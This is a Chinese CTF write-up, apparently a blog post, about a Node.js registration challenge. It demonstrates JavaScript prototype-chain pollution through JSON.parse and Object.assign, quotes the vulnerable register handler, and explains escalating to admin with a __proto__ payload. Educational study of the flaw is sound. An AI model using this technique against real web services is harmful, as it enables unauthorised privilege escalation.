目录
步骤1:峰回路转
步骤2:JavaScript原型链污染
步骤3:fuzz测试
总结:题目意义
对英语无感的我一开始没看到有个注册的提示,还以为暴力破解,看了一下题目才知道不需要暴力破解
来到注册页面 ,就发现有点吊了,is admin可以勾选,居然能注册管理员,有点搞笑,不切实际,正经实战的话哪来这功能?
那么怀疑点其实就应该放在这里,毕竟有管理员权限相当于无敌,通常逻辑都是要靠管理员权限才能拿到flag
第一次没勾选,直接注册,然后登录,就拿到了flag,去试了试flag
flag是假的,被骗了,果然需要去怼admin才行
后来也没做出来,去看了别人的wp才知道是JavaScript原型链污染攻击
造成这个漏洞的有一个很重要的前提,这题目的后端是node.js来写的,也就是说后端不是php服务器,不是java服务器,而是JavaScript服务器
因为是JavaScript语言来处理后端+用JavaScript的那个函数来处理,所以才有这个漏洞产生
JavaScript原型链污染详细学习链接在此:JavaScript 原型链污染 | Drunkbaby's Blog
我们来看最重要的部分,如果是在代码中正常生成的对象,是没有污染了
baseUser = {
a:1
}
user = {
a:2,
b:1,
__proto__:{
c:3
}
}
// 这个函数的作用:浅复制一个对象,第一个参数位是对象的内容,后面的参数位是多个对象内容叠加进去,进行复制出一个全新的对象
let newUser = Object.assign({}, baseUser, user)
// 无污染,结果正常
console.log(newUser) // {a: 2, b: 1}
// 无污染,结果正常
console.log(newUser.__proto__) // {constructor: ƒ, __defineGetter__: ƒ, __defineSetter__: ƒ, hasOwnProperty: ƒ, __lookupGetter__: ƒ, …}
可问题是,后端服务器是JavaScript,我们通过post发送过去的 json是字符串,JavaScript需要通过JSON.parse()函数才能把 json字符串转成对象
baseUser = {
a:1
}
// 这次使用函数把json字符串转成对象,就出问题了,
user = JSON.parse(' {"a" : 2 , "b" : 3 , "__proto__" : { "c" : 4 }} ')
// 这个函数的作用:浅复制一个对象,第一个参数位是对象的内容,后面的参数位是多个对象内容叠加进去,进行复制出一个全新的对象
let newUser = Object.assign({}, baseUser, user)
console.log(newUser) // {a: 2, b: 1} ,__proto__是隐藏属性,是不会直接显示的
console.log(newUser.__proto__) // {c: 4} ,但是一打印就出来了
console.log(newUser.c) // 4 ,已经被污染了,这个属性是一直存在的
大家可以自行复制粘贴去试试
看wp源代码才知道,这个后端是没有数据库的,sql注入就别想了
我们来看看代码讲什么,每一行我都写注释了
// post请求的路径
app.post('/register', (req, res) => {
let user = JSON.parse(req.body) // 把我们输入的账号密码,从json字符串转成对象
// 判断我们有没有输入账号和密码
if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}
// 判断账号是否存在总对象的username里,如果相同的username就是重复用户名了
if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
// isAdmin是否true 与 邀请码是不是等于这个常量,所以sql注入没用,邀请码是个常量
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}
// 使用系统函数复制对象,打包成一个新的对象
let newUser = Object.assign({}, baseUser, user)
users.push(newUser) // 存到总对象里
res.json({ msg: 'user created successfully', err: false }) // 设置返回信息
})
看了这部分源码能判断出,如果这个登陆的对象里,isAdmin的属性是true,那就证明是一个管理员,如果是普通注册的用户,isAdmin属性是false
那么直接污染即可
注册了管理员账号后,进去之后的flag也变了,这次flag才是真的
但这在比赛的时候是没有源码给你看的,所以应该是相当的难,需要fuzz测试
我暂时没搞明白这题目意义何在,好像跟实战有点偏离的太远了,用JavaScript服务器来处理登录?账号密码不存放数据库?存缓存里?能让所有人注册管理员账号?太扯淡了